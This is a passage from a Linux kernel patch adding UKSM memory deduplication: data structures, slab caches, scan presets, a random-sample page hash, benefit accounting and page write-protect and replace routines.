++/* Basic data structure definition ends */
++
++
++/*
++ * Flags for rmap_item to judge if it's listed in the stable/unstable tree.
++ * The flags use the low bits of rmap_item.address
++ */
++#define UNSTABLE_FLAG	0x1
++#define STABLE_FLAG	0x2
++#define get_rmap_addr(x)	((x)->address & PAGE_MASK)
++
++/*
++ * rmap_list_entry helpers
++ */
++#define IS_ADDR_FLAG	1
++#define is_addr(ptr)		((unsigned long)(ptr) & IS_ADDR_FLAG)
++#define set_is_addr(ptr)	((ptr) |= IS_ADDR_FLAG)
++#define get_clean_addr(ptr)	(((ptr) & ~(__typeof__(ptr))IS_ADDR_FLAG))
++
++
++/*
++ * High speed caches for frequently allocated and freed structs
++ */
++static struct kmem_cache *rmap_item_cache;
++static struct kmem_cache *stable_node_cache;
++static struct kmem_cache *node_vma_cache;
++static struct kmem_cache *vma_slot_cache;
++static struct kmem_cache *tree_node_cache;
++#define UKSM_KMEM_CACHE(__struct, __flags) kmem_cache_create("uksm_"#__struct,\
++		sizeof(struct __struct), __alignof__(struct __struct),\
++		(__flags), NULL)
++
++/* Array of all scan_rung, uksm_scan_ladder[0] having the minimum scan ratio */
++#define SCAN_LADDER_SIZE 4
++static struct scan_rung uksm_scan_ladder[SCAN_LADDER_SIZE];
++
++/* The evaluation rounds uksmd has finished */
++static unsigned long long uksm_eval_round = 1;
++
++/*
++ * we add 1 to this var when we consider we should rebuild the whole
++ * unstable tree.
++ */
++static unsigned long uksm_hash_round = 1;
++
++/*
++ * How many times the whole memory is scanned.
++ */
++static unsigned long long fully_scanned_round = 1;
++
++/* The total number of virtual pages of all vma slots */
++static u64 uksm_pages_total;
++
++/* The number of pages has been scanned since the start up */
++static u64 uksm_pages_scanned;
++
++static u64 scanned_virtual_pages;
++
++/* The number of pages has been scanned since last encode_benefit call */
++static u64 uksm_pages_scanned_last;
++
++/* If the scanned number is tooo large, we encode it here */
++static u64 pages_scanned_stored;
++
++static unsigned long pages_scanned_base;
++
++/* The number of nodes in the stable tree */
++static unsigned long uksm_pages_shared;
++
++/* The number of page slots additionally sharing those nodes */
++static unsigned long uksm_pages_sharing;
++
++/* The number of nodes in the unstable tree */
++static unsigned long uksm_pages_unshared;
++
++/*
++ * Milliseconds ksmd should sleep between scans,
++ * >= 100ms to be consistent with
++ * scan_time_to_sleep_msec()
++ */
++static unsigned int uksm_sleep_jiffies;
++
++/* The real value for the uksmd next sleep */
++static unsigned int uksm_sleep_real;
++
++/* Saved value for user input uksm_sleep_jiffies when it's enlarged */
++static unsigned int uksm_sleep_saved;
++
++/* Max percentage of cpu utilization ksmd can take to scan in one batch */
++static unsigned int uksm_max_cpu_percentage;
++
++static int uksm_cpu_governor;
++
++static char *uksm_cpu_governor_str[4] = { "full", "medium", "low", "quiet" };
++
++struct uksm_cpu_preset_s {
++	int cpu_ratio[SCAN_LADDER_SIZE];
++	unsigned int cover_msecs[SCAN_LADDER_SIZE];
++	unsigned int max_cpu; /* percentage */
++};
++
++struct uksm_cpu_preset_s uksm_cpu_preset[4] = {
++	{ {20, 40, -2500, -10000}, {1000, 500, 200, 50}, 95},
++	{ {20, 30, -2500, -10000}, {1000, 500, 400, 100}, 50},
++	{ {10, 20, -5000, -10000}, {1500, 1000, 1000, 250}, 20},
++	{ {10, 20, 40, 75}, {2000, 1000, 1000, 1000}, 1},
++};
++
++/* The default value for uksm_ema_page_time if it's not initialized */
++#define UKSM_PAGE_TIME_DEFAULT	500
++
++/*cost to scan one page by expotional moving average in nsecs */
++static unsigned long uksm_ema_page_time = UKSM_PAGE_TIME_DEFAULT;
++
++/* The expotional moving average alpha weight, in percentage. */
++#define EMA_ALPHA	20
++
++/*
++ * The threshold used to filter out thrashing areas,
++ * If it == 0, filtering is disabled, otherwise it's the percentage up-bound
++ * of the thrashing ratio of all areas. Any area with a bigger thrashing ratio
++ * will be considered as having a zero duplication ratio.
++ */
++static unsigned int uksm_thrash_threshold = 50;
++
++/* How much dedup ratio is considered to be abundant*/
++static unsigned int uksm_abundant_threshold = 10;
++
++/* All slots having merged pages in this eval round. */
++struct list_head vma_slot_dedup = LIST_HEAD_INIT(vma_slot_dedup);
++
++/* How many times the ksmd has slept since startup */
++static unsigned long long uksm_sleep_times;
++
++#define UKSM_RUN_STOP	0
++#define UKSM_RUN_MERGE	1
++static unsigned int uksm_run = 1;
++
++static DECLARE_WAIT_QUEUE_HEAD(uksm_thread_wait);
++static DEFINE_MUTEX(uksm_thread_mutex);
++
++/*
++ * List vma_slot_new is for newly created vma_slot waiting to be added by
++ * ksmd. If one cannot be added(e.g. due to it's too small), it's moved to
++ * vma_slot_noadd. vma_slot_del is the list for vma_slot whose corresponding
++ * VMA has been removed/freed.
++ */
++struct list_head vma_slot_new = LIST_HEAD_INIT(vma_slot_new);
++struct list_head vma_slot_noadd = LIST_HEAD_INIT(vma_slot_noadd);
++struct list_head vma_slot_del = LIST_HEAD_INIT(vma_slot_del);
++static DEFINE_SPINLOCK(vma_slot_list_lock);
++
++/* The unstable tree heads */
++static struct rb_root root_unstable_tree = RB_ROOT;
++
++/*
++ * All tree_nodes are in a list to be freed at once when unstable tree is
++ * freed after each scan round.
++ */
++static struct list_head unstable_tree_node_list =
++				LIST_HEAD_INIT(unstable_tree_node_list);
++
++/* List contains all stable nodes */
++static struct list_head stable_node_list = LIST_HEAD_INIT(stable_node_list);
++
++/*
++ * When the hash strength is changed, the stable tree must be delta_hashed and
++ * re-structured. We use two set of below structs to speed up the
++ * re-structuring of stable tree.
++ */
++static struct list_head
++stable_tree_node_list[2] = {LIST_HEAD_INIT(stable_tree_node_list[0]),
++			    LIST_HEAD_INIT(stable_tree_node_list[1])};
++
++static struct list_head *stable_tree_node_listp = &stable_tree_node_list[0];
++static struct rb_root root_stable_tree[2] = {RB_ROOT, RB_ROOT};
++static struct rb_root *root_stable_treep = &root_stable_tree[0];
++static unsigned long stable_tree_index;
++
++/* The hash strength needed to hash a full page */
++#define HASH_STRENGTH_FULL		(PAGE_SIZE / sizeof(u32))
++
++/* The hash strength needed for loop-back hashing */
++#define HASH_STRENGTH_MAX		(HASH_STRENGTH_FULL + 10)
++
++/* The random offsets in a page */
++static u32 *random_nums;
++
++/* The hash strength */
++static unsigned long hash_strength = HASH_STRENGTH_FULL >> 4;
++
++/* The delta value each time the hash strength increases or decreases */
++static unsigned long hash_strength_delta;
++#define HASH_STRENGTH_DELTA_MAX	5
++
++/* The time we have saved due to random_sample_hash */
++static u64 rshash_pos;
++
++/* The time we have wasted due to hash collision */
++static u64 rshash_neg;
++
++struct uksm_benefit {
++	u64 pos;
++	u64 neg;
++	u64 scanned;
++	unsigned long base;
++} benefit;
++
++/*
++ * The relative cost of memcmp, compared to 1 time unit of random sample
++ * hash, this value is tested when ksm module is initialized
++ */
++static unsigned long memcmp_cost;
++
++static unsigned long  rshash_neg_cont_zero;
++static unsigned long  rshash_cont_obscure;
++
++/* The possible states of hash strength adjustment heuristic */
++enum rshash_states {
++		RSHASH_STILL,
++		RSHASH_TRYUP,
++		RSHASH_TRYDOWN,
++		RSHASH_NEW,
++		RSHASH_PRE_STILL,
++};
++
++/* The possible direction we are about to adjust hash strength */
++enum rshash_direct {
++	GO_UP,
++	GO_DOWN,
++	OBSCURE,
++	STILL,
++};
++
++/* random sampling hash state machine */
++static struct {
++	enum rshash_states state;
++	enum rshash_direct pre_direct;
++	u8 below_count;
++	/* Keep a lookup window of size 5, iff above_count/below_count > 3
++	 * in this window we stop trying.
++	 */
++	u8 lookup_window_index;
++	u64 stable_benefit;
++	unsigned long turn_point_down;
++	unsigned long turn_benefit_down;
++	unsigned long turn_point_up;
++	unsigned long turn_benefit_up;
++	unsigned long stable_point;
++} rshash_state;
++
++/*zero page hash table, hash_strength [0 ~ HASH_STRENGTH_MAX]*/
++static u32 *zero_hash_table;
++
++static inline struct node_vma *alloc_node_vma(void)
++{
++	struct node_vma *node_vma;
++	node_vma = kmem_cache_zalloc(node_vma_cache, GFP_KERNEL);
++	if (node_vma) {
++		INIT_HLIST_HEAD(&node_vma->rmap_hlist);
++		INIT_HLIST_NODE(&node_vma->hlist);
++	}
++	return node_vma;
++}
++
++static inline void free_node_vma(struct node_vma *node_vma)
++{
++	kmem_cache_free(node_vma_cache, node_vma);
++}
++
++
++static inline struct vma_slot *alloc_vma_slot(void)
++{
++	struct vma_slot *slot;
++
++	/*
++	 * In case ksm is not initialized by now.
++	 * Oops, we need to consider the call site of uksm_init() in the future.
++	 */
++	if (!vma_slot_cache)
++		return NULL;
++
++	slot = kmem_cache_zalloc(vma_slot_cache, GFP_KERNEL);
++	if (slot) {
++		INIT_LIST_HEAD(&slot->slot_list);
++		INIT_LIST_HEAD(&slot->dedup_list);
++		slot->flags |= UKSM_SLOT_NEED_RERAND;
++	}
++	return slot;
++}
++
++static inline void free_vma_slot(struct vma_slot *vma_slot)
++{
++	kmem_cache_free(vma_slot_cache, vma_slot);
++}
++
++
++
++static inline struct rmap_item *alloc_rmap_item(void)
++{
++	struct rmap_item *rmap_item;
++
++	rmap_item = kmem_cache_zalloc(rmap_item_cache, GFP_KERNEL);
++	if (rmap_item) {
++		/* bug on lowest bit is not clear for flag use */
++		BUG_ON(is_addr(rmap_item));
++	}
++	return rmap_item;
++}
++
++static inline void free_rmap_item(struct rmap_item *rmap_item)
++{
++	rmap_item->slot = NULL;	/* debug safety */
++	kmem_cache_free(rmap_item_cache, rmap_item);
++}
++
++static inline struct stable_node *alloc_stable_node(void)
++{
++	struct stable_node *node;
++	node = kmem_cache_alloc(stable_node_cache, GFP_KERNEL | GFP_ATOMIC);
++	if (!node)
++		return NULL;
++
++	INIT_HLIST_HEAD(&node->hlist);
++	list_add(&node->all_list, &stable_node_list);
++	return node;
++}
++
++static inline void free_stable_node(struct stable_node *stable_node)
++{
++	list_del(&stable_node->all_list);
++	kmem_cache_free(stable_node_cache, stable_node);
++}
++
++static inline struct tree_node *alloc_tree_node(struct list_head *list)
++{
++	struct tree_node *node;
++	node = kmem_cache_zalloc(tree_node_cache, GFP_KERNEL | GFP_ATOMIC);
++	if (!node)
++		return NULL;
++
++	list_add(&node->all_list, list);
++	return node;
++}
++
++static inline void free_tree_node(struct tree_node *node)
++{
++	list_del(&node->all_list);
++	kmem_cache_free(tree_node_cache, node);
++}
++
++static void uksm_drop_anon_vma(struct rmap_item *rmap_item)
++{
++	struct anon_vma *anon_vma = rmap_item->anon_vma;
++
++	put_anon_vma(anon_vma);
++}
++
++
++/**
++ * Remove a stable node from stable_tree, may unlink from its tree_node and
++ * may remove its parent tree_node if no other stable node is pending.
++ *
++ * @stable_node 	The node need to be removed
++ * @unlink_rb 		Will this node be unlinked from the rbtree?
++ * @remove_tree_	node Will its tree_node be removed if empty?
++ */
++static void remove_node_from_stable_tree(struct stable_node *stable_node,
++					 int unlink_rb,  int remove_tree_node)
++{
++	struct node_vma *node_vma;
++	struct rmap_item *rmap_item;
++	struct hlist_node *n;
++
++	if (!hlist_empty(&stable_node->hlist)) {
++		hlist_for_each_entry_safe(node_vma, n,
++					  &stable_node->hlist, hlist) {
++			hlist_for_each_entry(rmap_item, &node_vma->rmap_hlist, hlist) {
++				uksm_pages_sharing--;
++
++				uksm_drop_anon_vma(rmap_item);
++				rmap_item->address &= PAGE_MASK;
++			}
++			free_node_vma(node_vma);
++			cond_resched();
++		}
++
++		/* the last one is counted as shared */
++		uksm_pages_shared--;
++		uksm_pages_sharing++;
++	}
++
++	if (stable_node->tree_node && unlink_rb) {
++		rb_erase(&stable_node->node,
++			 &stable_node->tree_node->sub_root);
++
++		if (RB_EMPTY_ROOT(&stable_node->tree_node->sub_root) &&
++		    remove_tree_node) {
++			rb_erase(&stable_node->tree_node->node,
++				 root_stable_treep);
++			free_tree_node(stable_node->tree_node);
++		} else {
++			stable_node->tree_node->count--;
++		}
++	}
++
++	free_stable_node(stable_node);
++}
++
++
++/*
++ * get_uksm_page: checks if the page indicated by the stable node
++ * is still its ksm page, despite having held no reference to it.
++ * In which case we can trust the content of the page, and it
++ * returns the gotten page; but if the page has now been zapped,
++ * remove the stale node from the stable tree and return NULL.
++ *
++ * You would expect the stable_node to hold a reference to the ksm page.
++ * But if it increments the page's count, swapping out has to wait for
++ * ksmd to come around again before it can free the page, which may take
++ * seconds or even minutes: much too unresponsive.  So instead we use a
++ * "keyhole reference": access to the ksm page from the stable node peeps
++ * out through its keyhole to see if that page still holds the right key,
++ * pointing back to this stable node.  This relies on freeing a PageAnon
++ * page to reset its page->mapping to NULL, and relies on no other use of
++ * a page to put something that might look like our key in page->mapping.
++ *
++ * include/linux/pagemap.h page_cache_get_speculative() is a good reference,
++ * but this is different - made simpler by uksm_thread_mutex being held, but
++ * interesting for assuming that no other use of the struct page could ever
++ * put our expected_mapping into page->mapping (or a field of the union which
++ * coincides with page->mapping).  The RCU calls are not for KSM at all, but
++ * to keep the page_count protocol described with page_cache_get_speculative.
++ *
++ * Note: it is possible that get_uksm_page() will return NULL one moment,
++ * then page the next, if the page is in between page_freeze_refs() and
++ * page_unfreeze_refs(): this shouldn't be a problem anywhere, the page
++ * is on its way to being freed; but it is an anomaly to bear in mind.
++ *
++ * @unlink_rb: 		if the removal of this node will firstly unlink from
++ * its rbtree. stable_node_reinsert will prevent this when restructuring the
++ * node from its old tree.
++ *
++ * @remove_tree_node:	if this is the last one of its tree_node, will the
++ * tree_node be freed ? If we are inserting stable node, this tree_node may
++ * be reused, so don't free it.
++ */
++static struct page *get_uksm_page(struct stable_node *stable_node,
++				 int unlink_rb, int remove_tree_node)
++{
++	struct page *page;
++	void *expected_mapping;
++
++	page = pfn_to_page(stable_node->kpfn);
++	expected_mapping = (void *)stable_node +
++				(PAGE_MAPPING_ANON | PAGE_MAPPING_KSM);
++	rcu_read_lock();
++	if (page->mapping != expected_mapping)
++		goto stale;
++	if (!get_page_unless_zero(page))
++		goto stale;
++	if (page->mapping != expected_mapping) {
++		put_page(page);
++		goto stale;
++	}
++	rcu_read_unlock();
++	return page;
++stale:
++	rcu_read_unlock();
++	remove_node_from_stable_tree(stable_node, unlink_rb, remove_tree_node);
++
++	return NULL;
++}
++
++/*
++ * Removing rmap_item from stable or unstable tree.
++ * This function will clean the information from the stable/unstable tree.
++ */
++static inline void remove_rmap_item_from_tree(struct rmap_item *rmap_item)
++{
++	if (rmap_item->address & STABLE_FLAG) {
++		struct stable_node *stable_node;
++		struct node_vma *node_vma;
++		struct page *page;
++
++		node_vma = rmap_item->head;
++		stable_node = node_vma->head;
++		page = get_uksm_page(stable_node, 1, 1);
++		if (!page)
++			goto out;
++
++		/*
++		 * page lock is needed because it's racing with
++		 * try_to_unmap_ksm(), etc.
++		 */
++		lock_page(page);
++		hlist_del(&rmap_item->hlist);
++
++		if (hlist_empty(&node_vma->rmap_hlist)) {
++			hlist_del(&node_vma->hlist);
++			free_node_vma(node_vma);
++		}
++		unlock_page(page);
++
++		put_page(page);
++		if (hlist_empty(&stable_node->hlist)) {
++			/* do NOT call remove_node_from_stable_tree() here,
++			 * it's possible for a forked rmap_item not in
++			 * stable tree while the in-tree rmap_items were
++			 * deleted.
++			 */
++			uksm_pages_shared--;
++		} else
++			uksm_pages_sharing--;
++
++
++		uksm_drop_anon_vma(rmap_item);
++	} else if (rmap_item->address & UNSTABLE_FLAG) {
++		if (rmap_item->hash_round == uksm_hash_round) {
++
++			rb_erase(&rmap_item->node,
++				 &rmap_item->tree_node->sub_root);
++			if (RB_EMPTY_ROOT(&rmap_item->tree_node->sub_root)) {
++				rb_erase(&rmap_item->tree_node->node,
++					 &root_unstable_tree);
++
++				free_tree_node(rmap_item->tree_node);
++			} else
++				rmap_item->tree_node->count--;
++		}
++		uksm_pages_unshared--;
++	}
++
++	rmap_item->address &= PAGE_MASK;
++	rmap_item->hash_max = 0;
++
++out:
++	cond_resched();		/* we're called from many long loops */
++}
++
++static inline int slot_in_uksm(struct vma_slot *slot)
++{
++	return list_empty(&slot->slot_list);
++}
++
++/*
++ * Test if the mm is exiting
++ */
++static inline bool uksm_test_exit(struct mm_struct *mm)
++{
++	return atomic_read(&mm->mm_users) == 0;
++}
++
++/**
++ * Need to do two things:
++ * 1. check if slot was moved to del list
++ * 2. make sure the mmap_sem is manipulated under valid vma.
++ *
++ * My concern here is that in some cases, this may make
++ * vma_slot_list_lock() waiters to serialized further by some
++ * sem->wait_lock, can this really be expensive?
++ *
++ *
++ * @return
++ * 0: if successfully locked mmap_sem
++ * -ENOENT: this slot was moved to del list
++ * -EBUSY: vma lock failed
++ */
++static int try_down_read_slot_mmap_sem(struct vma_slot *slot)
++{
++	struct vm_area_struct *vma;
++	struct mm_struct *mm;
++	struct rw_semaphore *sem;
++
++	spin_lock(&vma_slot_list_lock);
++
++	/* the slot_list was removed and inited from new list, when it enters
++	 * uksm_list. If now it's not empty, then it must be moved to del list
++	 */
++	if (!slot_in_uksm(slot)) {
++		spin_unlock(&vma_slot_list_lock);
++		return -ENOENT;
++	}
++
++	BUG_ON(slot->pages != vma_pages(slot->vma));
++	/* Ok, vma still valid */
++	vma = slot->vma;
++	mm = vma->vm_mm;
++	sem = &mm->mmap_sem;
++
++	if (uksm_test_exit(mm)) {
++		spin_unlock(&vma_slot_list_lock);
++		return -ENOENT;
++	}
++
++	if (down_read_trylock(sem)) {
++		spin_unlock(&vma_slot_list_lock);
++		return 0;
++	}
++
++	spin_unlock(&vma_slot_list_lock);
++	return -EBUSY;
++}
++
++static inline unsigned long
++vma_page_address(struct page *page, struct vm_area_struct *vma)
++{
++	pgoff_t pgoff = page->index << (PAGE_CACHE_SHIFT - PAGE_SHIFT);
++	unsigned long address;
++
++	address = vma->vm_start + ((pgoff - vma->vm_pgoff) << PAGE_SHIFT);
++	if (unlikely(address < vma->vm_start || address >= vma->vm_end)) {
++		/* page should be within @vma mapping range */
++		return -EFAULT;
++	}
++	return address;
++}
++
++
++/* return 0 on success with the item's mmap_sem locked */
++static inline int get_mergeable_page_lock_mmap(struct rmap_item *item)
++{
++	struct mm_struct *mm;
++	struct vma_slot *slot = item->slot;
++	int err = -EINVAL;
++
++	struct page *page;
++
++	/*
++	 * try_down_read_slot_mmap_sem() returns non-zero if the slot
++	 * has been removed by uksm_remove_vma().
++	 */
++	if (try_down_read_slot_mmap_sem(slot))
++		return -EBUSY;
++
++	mm = slot->vma->vm_mm;
++
++	if (uksm_test_exit(mm))
++		goto failout_up;
++
++	page = item->page;
++	rcu_read_lock();
++	if (!get_page_unless_zero(page)) {
++		rcu_read_unlock();
++		goto failout_up;
++	}
++
++	/* No need to consider huge page here. */
++	if (item->slot->vma->anon_vma != page_anon_vma(page) ||
++	    vma_page_address(page, item->slot->vma) != get_rmap_addr(item)) {
++		/*
++		 * TODO:
++		 * should we release this item becase of its stale page
++		 * mapping?
++		 */
++		put_page(page);
++		rcu_read_unlock();
++		goto failout_up;
++	}
++	rcu_read_unlock();
++	return 0;
++
++failout_up:
++	up_read(&mm->mmap_sem);
++	return err;
++}
++
++/*
++ * What kind of VMA is considered ?
++ */
++static inline int vma_can_enter(struct vm_area_struct *vma)
++{
++	return uksm_flags_can_scan(vma->vm_flags);
++}
++
++/*
++ * Called whenever a fresh new vma is created A new vma_slot.
++ * is created and inserted into a global list Must be called.
++ * after vma is inserted to its mm      		    .
++ */
++void uksm_vma_add_new(struct vm_area_struct *vma)
++{
++	struct vma_slot *slot;
++
++	if (!vma_can_enter(vma)) {
++		vma->uksm_vma_slot = NULL;
++		return;
++	}
++
++	slot = alloc_vma_slot();
++	if (!slot) {
++		vma->uksm_vma_slot = NULL;
++		return;
++	}
++
++	vma->uksm_vma_slot = slot;
++	vma->vm_flags |= VM_MERGEABLE;
++	slot->vma = vma;
++	slot->mm = vma->vm_mm;
++	slot->ctime_j = jiffies;
++	slot->pages = vma_pages(vma);
++	spin_lock(&vma_slot_list_lock);
++	list_add_tail(&slot->slot_list, &vma_slot_new);
++	spin_unlock(&vma_slot_list_lock);
++}
++
++/*
++ * Called after vma is unlinked from its mm
++ */
++void uksm_remove_vma(struct vm_area_struct *vma)
++{
++	struct vma_slot *slot;
++
++	if (!vma->uksm_vma_slot)
++		return;
++
++	slot = vma->uksm_vma_slot;
++	spin_lock(&vma_slot_list_lock);
++	if (slot_in_uksm(slot)) {
++		/**
++		 * This slot has been added by ksmd, so move to the del list
++		 * waiting ksmd to free it.
++		 */
++		list_add_tail(&slot->slot_list, &vma_slot_del);
++	} else {
++		/**
++		 * It's still on new list. It's ok to free slot directly.
++		 */
++		list_del(&slot->slot_list);
++		free_vma_slot(slot);
++	}
++	spin_unlock(&vma_slot_list_lock);
++	vma->uksm_vma_slot = NULL;
++}
++
++/*   32/3 < they < 32/2 */
++#define shiftl	8
++#define shiftr	12
++
++#define HASH_FROM_TO(from, to) 				\
++for (index = from; index < to; index++) {		\
++	pos = random_nums[index];			\
++	hash += key[pos];				\
++	hash += (hash << shiftl);			\
++	hash ^= (hash >> shiftr);			\
++}
++
++
++#define HASH_FROM_DOWN_TO(from, to) 			\
++for (index = from - 1; index >= to; index--) {		\
++	hash ^= (hash >> shiftr);			\
++	hash ^= (hash >> (shiftr*2));			\
++	hash -= (hash << shiftl);			\
++	hash += (hash << (shiftl*2));			\
++	pos = random_nums[index];			\
++	hash -= key[pos];				\
++}
++
++/*
++ * The main random sample hash function.
++ */
++static u32 random_sample_hash(void *addr, u32 hash_strength)
++{
++	u32 hash = 0xdeadbeef;
++	int index, pos, loop = hash_strength;
++	u32 *key = (u32 *)addr;
++
++	if (loop > HASH_STRENGTH_FULL)
++		loop = HASH_STRENGTH_FULL;
++
++	HASH_FROM_TO(0, loop);
++
++	if (hash_strength > HASH_STRENGTH_FULL) {
++		loop = hash_strength - HASH_STRENGTH_FULL;
++		HASH_FROM_TO(0, loop);
++	}
++
++	return hash;
++}
++
++
++/**
++ * It's used when hash strength is adjusted
++ *
++ * @addr The page's virtual address
++ * @from The original hash strength
++ * @to   The hash strength changed to
++ * @hash The hash value generated with "from" hash value
++ *
++ * return the hash value
++ */
++static u32 delta_hash(void *addr, int from, int to, u32 hash)
++{
++	u32 *key = (u32 *)addr;
++	int index, pos; /* make sure they are int type */
++
++	if (to > from) {
++		if (from >= HASH_STRENGTH_FULL) {
++			from -= HASH_STRENGTH_FULL;
++			to -= HASH_STRENGTH_FULL;
++			HASH_FROM_TO(from, to);
++		} else if (to <= HASH_STRENGTH_FULL) {
++			HASH_FROM_TO(from, to);
++		} else {
++			HASH_FROM_TO(from, HASH_STRENGTH_FULL);
++			HASH_FROM_TO(0, to - HASH_STRENGTH_FULL);
++		}
++	} else {
++		if (from <= HASH_STRENGTH_FULL) {
++			HASH_FROM_DOWN_TO(from, to);
++		} else if (to >= HASH_STRENGTH_FULL) {
++			from -= HASH_STRENGTH_FULL;
++			to -= HASH_STRENGTH_FULL;
++			HASH_FROM_DOWN_TO(from, to);
++		} else {
++			HASH_FROM_DOWN_TO(from - HASH_STRENGTH_FULL, 0);
++			HASH_FROM_DOWN_TO(HASH_STRENGTH_FULL, to);
++		}
++	}
++
++	return hash;
++}
++
++
++
++
++#define CAN_OVERFLOW_U64(x, delta) (U64_MAX - (x) < (delta))
++
++/**
++ *
++ * Called when: rshash_pos or rshash_neg is about to overflow or a scan round
++ * has finished.
++ *
++ * return 0 if no page has been scanned since last call, 1 otherwise.
++ */
++static inline int encode_benefit(void)
++{
++	u64 scanned_delta, pos_delta, neg_delta;
++	unsigned long base = benefit.base;
++
++	scanned_delta = uksm_pages_scanned - uksm_pages_scanned_last;
++
++	if (!scanned_delta)
++		return 0;
++
++	scanned_delta >>= base;
++	pos_delta = rshash_pos >> base;
++	neg_delta = rshash_neg >> base;
++
++	if (CAN_OVERFLOW_U64(benefit.pos, pos_delta) ||
++	    CAN_OVERFLOW_U64(benefit.neg, neg_delta) ||
++	    CAN_OVERFLOW_U64(benefit.scanned, scanned_delta)) {
++		benefit.scanned >>= 1;
++		benefit.neg >>= 1;
++		benefit.pos >>= 1;
++		benefit.base++;
++		scanned_delta >>= 1;
++		pos_delta >>= 1;
++		neg_delta >>= 1;
++	}
++
++	benefit.pos += pos_delta;
++	benefit.neg += neg_delta;
++	benefit.scanned += scanned_delta;
++
++	BUG_ON(!benefit.scanned);
++
++	rshash_pos = rshash_neg = 0;
++	uksm_pages_scanned_last = uksm_pages_scanned;
++
++	return 1;
++}
++
++static inline void reset_benefit(void)
++{
++	benefit.pos = 0;
++	benefit.neg = 0;
++	benefit.base = 0;
++	benefit.scanned = 0;
++}
++
++static inline void inc_rshash_pos(unsigned long delta)
++{
++	if (CAN_OVERFLOW_U64(rshash_pos, delta))
++		encode_benefit();
++
++	rshash_pos += delta;
++}
++
++static inline void inc_rshash_neg(unsigned long delta)
++{
++	if (CAN_OVERFLOW_U64(rshash_neg, delta))
++		encode_benefit();
++
++	rshash_neg += delta;
++}
++
++
++static inline u32 page_hash(struct page *page, unsigned long hash_strength,
++			    int cost_accounting)
++{
++	u32 val;
++	unsigned long delta;
++
++	void *addr = kmap_atomic(page);
++
++	val = random_sample_hash(addr, hash_strength);
++	kunmap_atomic(addr);
++
++	if (cost_accounting) {
++		if (HASH_STRENGTH_FULL > hash_strength)
++			delta = HASH_STRENGTH_FULL - hash_strength;
++		else
++			delta = 0;
++
++		inc_rshash_pos(delta);
++	}
++
++	return val;
++}
++
++static int memcmp_pages(struct page *page1, struct page *page2,
++			int cost_accounting)
++{
++	char *addr1, *addr2;
++	int ret;
++
++	addr1 = kmap_atomic(page1);
++	addr2 = kmap_atomic(page2);
++	ret = memcmp(addr1, addr2, PAGE_SIZE);
++	kunmap_atomic(addr2);
++	kunmap_atomic(addr1);
++
++	if (cost_accounting)
++		inc_rshash_neg(memcmp_cost);
++
++	return ret;
++}
++
++static inline int pages_identical(struct page *page1, struct page *page2)
++{
++	return !memcmp_pages(page1, page2, 0);
++}
++
++static inline int is_page_full_zero(struct page *page)
++{
++	char *addr;
++	int ret;
++
++	addr = kmap_atomic(page);
++	ret = is_full_zero(addr, PAGE_SIZE);
++	kunmap_atomic(addr);
++
++	return ret;
++}
++
++static int write_protect_page(struct vm_area_struct *vma, struct page *page,
++			      pte_t *orig_pte, pte_t *old_pte)
++{
++	struct mm_struct *mm = vma->vm_mm;
++	unsigned long addr;
++	pte_t *ptep;
++	spinlock_t *ptl;
++	int swapped;
++	int err = -EFAULT;
++	unsigned long mmun_start;	/* For mmu_notifiers */
++	unsigned long mmun_end;		/* For mmu_notifiers */
++
++	addr = page_address_in_vma(page, vma);
++	if (addr == -EFAULT)
++		goto out;
++
++	BUG_ON(PageTransCompound(page));
++
++	mmun_start = addr;
++	mmun_end   = addr + PAGE_SIZE;
++	mmu_notifier_invalidate_range_start(mm, mmun_start, mmun_end);
++
++	ptep = page_check_address(page, mm, addr, &ptl, 0);
++	if (!ptep)
++		goto out_mn;
++
++	if (old_pte)
++		*old_pte = *ptep;
++
++	if (pte_write(*ptep) || pte_dirty(*ptep)) {
++		pte_t entry;
++
++		swapped = PageSwapCache(page);
++		flush_cache_page(vma, addr, page_to_pfn(page));
++		/*
++		 * Ok this is tricky, when get_user_pages_fast() run it doesnt
++		 * take any lock, therefore the check that we are going to make
++		 * with the pagecount against the mapcount is racey and
++		 * O_DIRECT can happen right after the check.
++		 * So we clear the pte and flush the tlb before the check
++		 * this assure us that no O_DIRECT can happen after the check
++		 * or in the middle of the check.
++		 */
++		entry = ptep_clear_flush(vma, addr, ptep);
++		/*
++		 * Check that no O_DIRECT or similar I/O is in progress on the
++		 * page
++		 */
++		if (page_mapcount(page) + 1 + swapped != page_count(page)) {
++			set_pte_at(mm, addr, ptep, entry);
++			goto out_unlock;
++		}
++		if (pte_dirty(entry))
++			set_page_dirty(page);
++		entry = pte_mkclean(pte_wrprotect(entry));
++		set_pte_at_notify(mm, addr, ptep, entry);
++	}
++	*orig_pte = *ptep;
++	err = 0;
++
++out_unlock:
++	pte_unmap_unlock(ptep, ptl);
++out_mn:
++	mmu_notifier_invalidate_range_end(mm, mmun_start, mmun_end);
++out:
++	return err;
++}
++
++#define MERGE_ERR_PGERR		1 /* the page is invalid cannot continue */
++#define MERGE_ERR_COLLI		2 /* there is a collision */
++#define MERGE_ERR_COLLI_MAX	3 /* collision at the max hash strength */
++#define MERGE_ERR_CHANGED	4 /* the page has changed since last hash */
++
++
++/**
++ * replace_page - replace page in vma by new ksm page
++ * @vma:      vma that holds the pte pointing to page
++ * @page:     the page we are replacing by kpage
++ * @kpage:    the ksm page we replace page by
++ * @orig_pte: the original value of the pte
++ *
++ * Returns 0 on success, MERGE_ERR_PGERR on failure.
++ */
++static int replace_page(struct vm_area_struct *vma, struct page *page,
++			struct page *kpage, pte_t orig_pte)
++{
++	struct mm_struct *mm = vma->vm_mm;
++	pgd_t *pgd;
++	pud_t *pud;
++	pmd_t *pmd;
++	pte_t *ptep;
++	spinlock_t *ptl;
++	pte_t entry;
++
++	unsigned long addr;
++	int err = MERGE_ERR_PGERR;
++	unsigned long mmun_start;	/* For mmu_notifiers */
++	unsigned long mmun_end;		/* For mmu_notifiers */
++
++	addr = page_address_in_vma(page, vma);
++	if (addr == -EFAULT)
++		goto out;
++
++	pgd = pgd_offset(mm, addr);
++	if (!pgd_present(*pgd))
++		goto out;
++
++	pud = pud_offset(pgd, addr);
++	if (!pud_present(*pud))
++		goto out;
++
++	pmd = pmd_offset(pud, addr);
++	BUG_ON(pmd_trans_huge(*pmd));
++	if (!pmd_present(*pmd))
++		goto out;
++
++	mmun_start = addr;
++	mmun_end   = addr + PAGE_SIZE;
++	mmu_notifier_invalidate_range_start(mm, mmun_start, mmun_end);
++
++	ptep = pte_offset_map_lock(mm, pmd, addr, &ptl);
++	if (!pte_same(*ptep, orig_pte)) {
++		pte_unmap_unlock(ptep, ptl);
++		goto out_mn;
